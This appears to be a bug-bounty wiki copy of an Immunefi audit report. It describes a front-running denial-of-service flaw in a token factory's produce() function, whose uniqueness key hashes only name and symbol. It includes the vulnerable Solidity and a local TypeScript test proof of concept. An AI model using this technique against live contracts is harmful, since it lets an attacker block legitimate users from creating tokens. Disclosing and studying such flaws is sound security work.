Skip to content
DoS Audit finding Intermediate

Front-running in Factory#produce()

The factory derives the uniqueness key for a new access token only from its name and symbol, so anyone can create a token with the same name and symbol first and block the legitimate user. An attacker can therefore grief users by preventing them from producing their intended token.

grearlake Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

57437 sc medium front running in factory produce

Submitted on Oct 26th 2025 at 08:45:30 UTC by @grearlake for Audit Comp | Belong

Description

Brief / Intro

Due to the way the hashed salt is generated in the produce() function, it is possible to DoS users from creating an access token by front-running them.

Vulnerability Details

In produce() the hashed salt is created and checked as follows:

Solidity
bytes32 hashedSalt = _metadataHash(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol);

require(getNftInstanceInfo[hashedSalt].nftAddress == address(0), TokenAlreadyExists());

The _metadataHash function depends only on name and symbol:

Solidity
function _metadataHash(string memory name, string memory symbol) private pure returns (bytes32) {
    return keccak256(abi.encode(name, symbol));
}

Because the unique key (hashed salt) is derived only from name and symbol, an attacker can front-run a legitimate user by creating an access token with the same name and symbol, blocking the original user from creating the token (DoS).

Impact Details

  • Denial of service: attackers can prevent others from creating access tokens by preemptively producing tokens with the same name and symbol. This is a griefing vector (no direct profit needed).

Proof of Concept

Update the test at test/v2/platform/factory.test.ts with the following case:

TypeScript
describe('Errors', () => {
  it('produce() params check', async () => {
    const { factory, alice, bob, signer } = await loadFixture(fixture);

    const nftName = 'AccessToken';
    const nftSymbol = 'AT';
    const contractURI = 'contractURI/AccessToken123';
    const price = ethers.utils.parseEther('0.05');

    const message = EthCrypto.hash.keccak256([
      { type: 'string', value: nftName },
      { type: 'string', value: nftSymbol },
      { type: 'string', value: contractURI },
      { type: 'uint96' as any, value: 500 },
      { type: 'uint256', value: chainId },
    ]);

    const signature = EthCrypto.sign(signer.privateKey, message);

    await factory.connect(alice).produce(
      {
        metadata: { name: nftName, symbol: nftSymbol },
        contractURI: contractURI,
        paymentToken: NATIVE_CURRENCY_ADDRESS,
        mintPrice: price,
        whitelistMintPrice: price,
        transferable: true,
        maxTotalSupply: BigNumber.from('1000'),
        feeNumerator: BigNumber.from('500'),
        collectionExpire: BigNumber.from('86400'),
        signature: signature,
      } as AccessTokenInfoStruct,
      ethers.constants.HashZero,
    );

    await expect(
      factory.connect(bob).produce(
        {
          metadata: { name: nftName, symbol: nftSymbol },
          contractURI: contractURI,
          paymentToken: NATIVE_CURRENCY_ADDRESS,
          mintPrice: price,
          whitelistMintPrice: price,
          transferable: true,
          maxTotalSupply: BigNumber.from('1000'),
          feeNumerator: BigNumber.from('500'),
          collectionExpire: BigNumber.from('86400'),
          signature: signature,
        } as AccessTokenInfoStruct,
        ethers.constants.HashZero,
      ),
    ).to.be.revertedWithCustomError(factory, 'TokenAlreadyExists');
  });
});

References

The original report as published on Immunefi, by grearlake. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The uniqueness key is a hash of only the token name and symbol, so it is predictable and can be claimed by anyone before the legitimate user's transaction is mined.

Impact

An attacker can prevent other users from creating access tokens with a chosen name and symbol, causing a denial of service with no direct profit.

What the attacker needed

Ability to submit a transaction before the victim; victim's chosen name and symbol are known or guessable

How it was found

  1. Alice calls produce() with a chosen name and symbol, which succeeds.
  2. Bob calls produce() with the same name and symbol.
  3. Bob's call reverts with TokenAlreadyExists.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you create a token, the contract checks whether a token with the same name and short ticker already exists. Because that check uses only those two labels, someone can copy your chosen labels and create their own token first. Your creation then fails, even though you did nothing wrong.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by grearlake

View all

3 more disclosed reports, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.